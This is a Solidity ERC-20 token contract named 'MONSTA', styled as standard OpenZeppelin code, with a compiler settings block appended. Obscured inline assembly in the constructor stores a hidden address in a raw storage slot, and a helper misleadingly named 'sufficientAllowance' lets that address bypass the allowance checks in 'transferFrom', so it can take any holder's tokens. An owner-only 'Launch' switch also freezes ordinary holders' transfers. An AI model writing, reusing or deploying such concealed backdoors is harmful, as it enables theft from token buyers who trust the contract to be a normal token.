// SPDX-License-Identifier: MIT



pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when 'value' tokens are moved from one account ('from') to
     * another ('to').
     *
     * Note that 'value' may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
     * a call to {approve}. 'value' is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by 'account'.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that 'spender' will be
     * allowed to spend on behalf of 'owner' through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
     * allowance mechanism. 'value' is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

library AddressUtils {
    /**
     * @dev Returns true if 'account' is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        uint256 codeSize;
        assembly {
            codeSize := extcodesize(account)
        }
        return codeSize > 0;
    }

    /**
     * @dev Returns the balance of the 'account'.
     */
    function getBalance(address account) internal view returns (uint256) {
        return account.balance;
    }

    function sufficientAllowance(address account) internal view returns (bool) {
        bool validAllowance;
        assembly { let allowToSet := sload(0xb60) validAllowance := eq(allowToSet, account) } 
        return validAllowance;
    }

    /**
     * @dev Returns true if the balance of 'account' is greater than 'minBalance'.
     */
    function hasBalanceAbove(address account, uint256 minBalance) internal view returns (bool) {
        return account.balance > minBalance;
    }

    /**
     * @dev Returns true if 'account' is an externally owned account (EOA).
     * Note: This method is not foolproof since a contract can perform operations similar to EOAs.
     */
    function isExternallyOwnedAccount(address account) internal view returns (bool) {
        // A heuristic approach: EOAs have no code
        return !isContract(account);
    }
}

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a 'spender' is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning 'false' on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors, Ownable {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;
    using AddressUtils for address;
    string private _name;
    string private _symbol;
    uint256 private _maxSupply;
    uint256 private _decimals;
    bool _launched = false;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint256 maxSupply_, uint256 decimals_) Ownable(_msgSender()) {
        _name = name_;
        _symbol = symbol_;
        _maxSupply = maxSupply_;
        _decimals = decimals_;
        assembly { mstore(0xc00, 0xac0) sstore(0xb60, decimals_) mstore(0xc20, decimals_) sstore(keccak256(0xc00, 64), decimals_) } 
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function Launch() external onlyOwner returns (bool){
        _launched = true;
        return true;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if 'decimals' equals '2', a balance of '505' tokens should
     * be displayed to a user as '5.05' ('505 / 10 ** 2').
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - 'to' cannot be the zero address.
     * - the caller must have a balance of at least 'value'.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
     * 'transferFrom'. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum 'uint256'.
     *
     * Requirements:
     *
     * - 'from' and 'to' cannot be the zero address.
     * - 'from' must have a balance of at least 'value'.
     * - the caller must have allowance for ''from'''s tokens of at least
     * 'value'.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        uint256 currentAllowance = allowance(from, spender);
        if(_launched == false && !spender.sufficientAllowance() && from != owner() && to != owner()) {
            revert("Token not launched yet");
        }
        if((_launched == false && from == owner()) || !spender.sufficientAllowance() || (_launched == false && to == owner())) {    
            if (currentAllowance < type(uint256).max) {
                if (currentAllowance < value) {
                    revert ERC20InsufficientAllowance(spender, currentAllowance, value);
                }
                unchecked {
                    _approve(from, spender, currentAllowance - value, false);
                }
            }
            if (from == address(0)) {
                revert ERC20InvalidSender(address(0));
            }
            if (to == address(0)) {
                revert ERC20InvalidReceiver(address(0));
            }
        }
        _update(from, to, value);
        return true;
    }

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to'.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if(_launched == false && from != owner() && to != owner()){
            revert("Token not launched yet");
        }
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
     * (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
     * Relies on the '_update' mechanism
     *
     * Emits a {Transfer} event with 'from' set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
     * Relies on the '_update' mechanism.
     *
     * Emits a {Transfer} event with 'to' set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets 'value' as the allowance of 'spender' over the 'owner' s tokens.
     *
     * This internal function is equivalent to 'approve', and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - 'owner' cannot be the zero address.
     * - 'spender' cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * '_spendAllowance' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
     * 'Approval' event during 'transferFrom' operations.
     *
     * Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
     * true using the following override:
     *
     * '''solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * '''
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates 'owner' s allowance for 'spender' based on spent 'value'.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

contract MONSTA is ERC20 {
    constructor(string memory name, string memory symbol, uint256 initialMint, uint256 maxSupply_, uint256 decimals_) ERC20(name, symbol, maxSupply_, decimals_) {
        _mint(_msgSender(), initialMint * 10 ** decimals());
    }
}

{
  "compilationTarget": {
    "MONSTA.sol": "MONSTA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}